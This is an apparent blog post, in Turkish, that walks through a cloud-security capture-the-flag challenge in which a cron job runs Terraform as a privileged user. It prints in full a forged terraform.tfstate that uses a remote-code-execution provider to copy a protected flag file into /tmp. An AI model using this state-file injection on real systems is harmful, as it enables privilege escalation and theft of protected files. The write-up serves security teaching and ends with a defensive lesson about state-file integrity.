← Blog'a dön
2026-03-25 | 0gulcandogan | Medium'dan aktar&305;ld&305; | 5 dk okuma

Otomasyon Her Şeyin Çözümü mü? Ya Makineden Bir İçecek Çalabilseydim?

Is Automation the Solution to Everything? What If I Could Steal a Drink from the Machine?

Herkese merhaba, umarım hepiniz iyisinizdir. Bir süredir burada paylaşım yapmamıştım, ancak geçenlerde dikkatimi çeken bir şey oldu ve bunu canlı yayında çözmeye karar verdim. Çok eğlenceliydi ve kaydını kesinlikle paylaşacağım — buradan izleyebilirsiniz. Ayrıca, ara sıra yayınlara katılmaktan çekinmeyin; harika içerikler geliyor 😉

Hayatımızdaki olaylar, genellikle bizi belirli görevleri otomatikleştirip işimizi kolaylaştıracak araçlar geliştirmeye itiyor. DevOps, uygulama tasarımı ve diğer birçok alanda kullandığımız Terraform ve Ansible gibi araçlar tam da bu nedenle var. Sonuçta, günümüzde her şeyi manuel olarak yapmaktan gerçekten kim hoşlanır ki?

Bugün, Wizz tarafından hazırlanan ve “State of Affairs” adlı Cloud Security Championship görevlerinden birini ele aldık. Bu yazıda, görevi adım adım inceleyip nasıl çözdüğümüzü anlatacağız.

Görev için bize verilen ipucu şöyledir:

Bazı altyapı otomasyon işlemlerini yürüten bir konteynere erişim sağladınız. Bir cron işi, sertifikaları güncel tutmak için her dakika Terraform’u çalıştırıyor.
Bayrak, ayrıcalıklı bir kullanıcının ana dizininde saklanıyor — ancak siz doğrudan erişimi olmayan sıradan bir kullanıcısınız.
Terraform’u kendi yararınıza kullanmanın bir yolunu bulabilir misiniz?
İyi şanslar!

Kısacası, altyapı otomasyonunu yöneten bir konteyner içinde çalışan bir ortama erişim sağlıyoruz. Sertifikaları güncel tutmak için her dakika Terraform'u çalıştıran bir cron işi var. Bayrak, ayrıcalıklı bir kullanıcının ana dizininde saklanıyor, ancak o hesaba doğrudan erişimimiz yok.

Dolayısıyla, bu görevin temel sorusu şudur: Terraform’u kendi lehimize çalıştırarak bu dosyaya erişim sağlayabilir miyiz?

Hadi deneyelim!

1. Ortamı Anlamak

Öncelikle, kullanıcıya verilen ayrıcalıkları ve içinde çalıştığımız ortamı anlamamız gerekiyor. Bunu yapmak için, nerede çalıştığımızı ve ne düzeyde erişimimiz olduğunu belirlemeliyiz. Aşağıdaki temel komutlar bu bilgileri toplamamıza olanak tanır:

introduction

Anladığım kadarıyla, buradaki kullanıcı alanı yalnızca ana Terraform şablonunu çalıştırmak için kurulmuştur; başka bir deyişle, bu ortamda herhangi bir değişiklik yapamaz veya ek komutlar çalıştıramayız. Ancak, aynı klasörün içinde ctf adlı bir alt dizin bulunmaktadır. Oraya birkaç araç yüklemeyi denediğimizde, bu işlem başarılı oldu. Öyleyse, Terraform’un aslında ne yaptığına daha yakından bakalım.

Aslında, tam da bu noktada bir saldırganın bakış açısını benimsememiz gerekiyor:

/bin/sh -c terraform -chdir=/home/tfuser init && terraform -chdir=/home/tfuser apply -auto-approve > /var/tmp/tfoutput.log 2>&1
/bin/sh -c terraform -chdir=/home/tfuser init && terraform -chdir=/home/tfuser apply -auto-approve > /var/tmp/tfoutput.log 2>&1

Terraform’u biraz daha derinlemesine incelemek gerekirse, iç iş akışına aşina olan herkes, yukarıda gösterilen komutların çalıştırılmasının sistemde bir yerde terraform.tfstate dosyasının oluşturulmasına yol açacağını bekler. Bunun nedeni, tipik bir senaryoda sürecin genellikle şu şekilde ilerlemesidir:

+---------------------------------------------------------------+
| You write a Terraform configuration (.tf files) |
| For example, you define an EC2 or S3 resource. |
+---------------------------------------------------------------+
|
v
+---------------------------------------------------------------+
| In the terminal, terraform init prepares the environment |
| and downloads the required providers. |
+---------------------------------------------------------------+
|
v
+---------------------------------------------------------------+
| When you run terraform apply or terraform plan: |
| Terraform plans to create the resources you defined on the |
| cloud provider. |
+---------------------------------------------------------------+
|
v
+---------------------------------------------------------------+
| If you run apply, the resources are actually created. |
| Terraform then records the current state of these resources |
| in the terraform.tfstate file. |
+---------------------------------------------------------------+

Senaryomuzda, 2. ve 3. adımlar bir cron görevi tarafından otomatik olarak yürütülür; bu da, bir noktada bir terraform.tfstate dosyasının oluşturulduğu ve Terraform’un bu dosyayı okuyarak çalışmaya devam ettiği anlamına gelir. Ancak, main.tf dosyasını göremediğimiz için, olağan yöntemleri kullanarak yapabileceğimiz pek bir şey yoktur.

Bu noktada bakış açımızı değiştirmemiz ve şu soruyu sormamız gerekiyor: Bu durum dosyası önceden zaten mevcut olsaydı, Terraform yine de ortamı çalıştırır mıydı?

Terraform genellikle durum dosyasını imzalamaz ve dosya adı veya bütünlüğü üzerinde ek kontroller de yapmaz. Bu nedenle, aynı formatta kendi terraform.tfstate dosyamızı oluşturursak, Terraform bunu geçerli bir durum dosyası olarak kabul edecektir.

Bu, tfuser ayrıcalıklarıyla çalışan Terraform’un durum dosyamızda tanımlanan kaynakları yürütmesine ve dolayısıyla bayrak dosyasını okuyup bizim adımıza erişilebilir bir konuma kopyalamasına olanak tanır.

2. Durum Dosyası Manipülasyonu ve Saldırı Senaryosu

İlk olarak, cron işi tetiklendikten sonra, dizinler arasında gezerek bu dosyanın nerede oluşturulduğunu bulun ya da find komutunu kullanarak yardım alın :)

Burada, dosyanın tam olarak nerede oluşturulduğunu görebildik. Ancak, laboratuvarı yenileyip tekrar kontrol ederseniz, bu dosyayı göremeyeceksiniz.

Şimdi, burada kendi basit dosyamızı oluşturmayı denedim, ancak bir nedenden ötürü — muhtemelen benim beceriksizliğimden — bir metin düzenleyici yükleyemedim. Bu yüzden, eski usul, ilkel yöntemlere başvuruyorum.

Tamam, mükemmel. İlk bakışta herhangi bir kontrol veya kısıtlama yok gibi göründüğünden, artık ihtiyacımız olan dosyayı yazıp onu geri almaya çalışabiliriz. Ayrıca, birkaç depoyu incelerken, sonraki adımlarımızı planlamak için referans olarak kullanabileceğimiz birkaç örnek yapılandırmaya da rastladım.

Şimdi, önceki adımda oluşturulan terraform.tfstate dosyasını kopyalayacağız ve daha önce bahsedilen depoda bulunan vektörü kullanarak onu değiştireceğiz. Ardından, cron işi çalışmadan önce oluşturduğumuz dosyayı /tmp dizinine yerleştireceğiz ve neler olacağını gözlemleyeceğiz.

cat << 'EOF' > /tmp/terraform.tfstate
{
"version": 4,
"terraform_version": "1.14.3",
"serial": 14,
"lineage": "19295bdc-2ff6-fc9d-c663-735c49b31dd1",
"outputs": {},
"resources": [
{
"mode": "managed",
"type": "rce",
"name": "rce",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "cp /home/tfuser/flag /tmp/flag && chmod 777 /tmp/flag",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
],
"check_results": null
}
EOF

chmod 777 /tmp/terraform.tfstate

Şimdi, cron işinin tetiklenmesini bekleyelim. Yaklaşımımız doğruysa, bayrak dosyası /tmp dizininde okunabilir hale gelmelidir.

Evet, başardık! Oluşturduğumuz sahte terraform.tfstate dosyası cron işi tarafından işlendi ve bayrak dosyası /tmp dizinine kopyalandı. Artık dosyayı sorunsuz bir şekilde okuyabiliriz.

Yaklaşımımızın doğru olduğu ortaya çıktı; durum dosyasını manipüle ederek, Terraform’un tfuser ayrıcalıklarından yararlanarak bayrağa erişilebilir hale getirebildik. Genel olarak bu, durum dosyalarını uygun bir doğrulama veya bütünlük koruması olmadan saklamanın ne kadar kritik olabileceğini gösterdi.

Sonuç olarak, bu görev bize görünüşte basit ama son derece etkili bir gerçeği bir kez daha hatırlattı: otomasyon araçları işleri kolaylaştırır, ancak yanlış yapılandırıldıklarında saldırganlar için önemli bir avantaj haline gelebilirler. Terraform’un durum dosyasına körü körüne güvenmesi ve bütünlük denetimlerinin eksikliği, kendi sahte durum dosyamızı oluşturmamıza ve süreci lehimize çevirmemize olanak sağladı.

main.tf dosyasını görmemize gerek kalmadı; sadece Terraform’un nasıl çalıştığını ve hangi dosyalara dayandığını anlayarak bayrağa ulaşabildik. Başka bir deyişle, yaptığımız şey sihirli bir istismar değildi — sistemin normal davranışını farklı bir bakış açısıyla kullanmaktı.

Kısacası, otomasyon işleri hızlandırır, ancak kontrol mekanizmaları eksikse bu hız güvenliği tehlikeye atabilir. Bu zorluk, bir sistem otomatik olarak çalışıyorsa saldırganların bu otomasyonu kendi çıkarları için manipüle etmenin yollarını bulabileceğini açıkça gösterdi.

Okuduğunuz için teşekkürler! Benzer içeriklerle ilgileniyorsanız, gelecek yayınlarda bu tür zorlukları birlikte çözmeye devam edeceğiz.

Kendinize iyi bakın ❤

Orijinal: https://medium.com/@0gulcandogan/is-automation-the-solution-to-everything-what-if-i-could-steal-a-drink-from-the-machine-fea091160854?source=rss-746132cb79a8------2

Okuduğunuz için teşekkürler

Bu yazı işinize yaradıysa paylaşmayı veya logdaki diğer yazıları keşfetmeyi düşünebilirsiniz.

← Tüm yaz&305;lar Yazar hakk&305;nda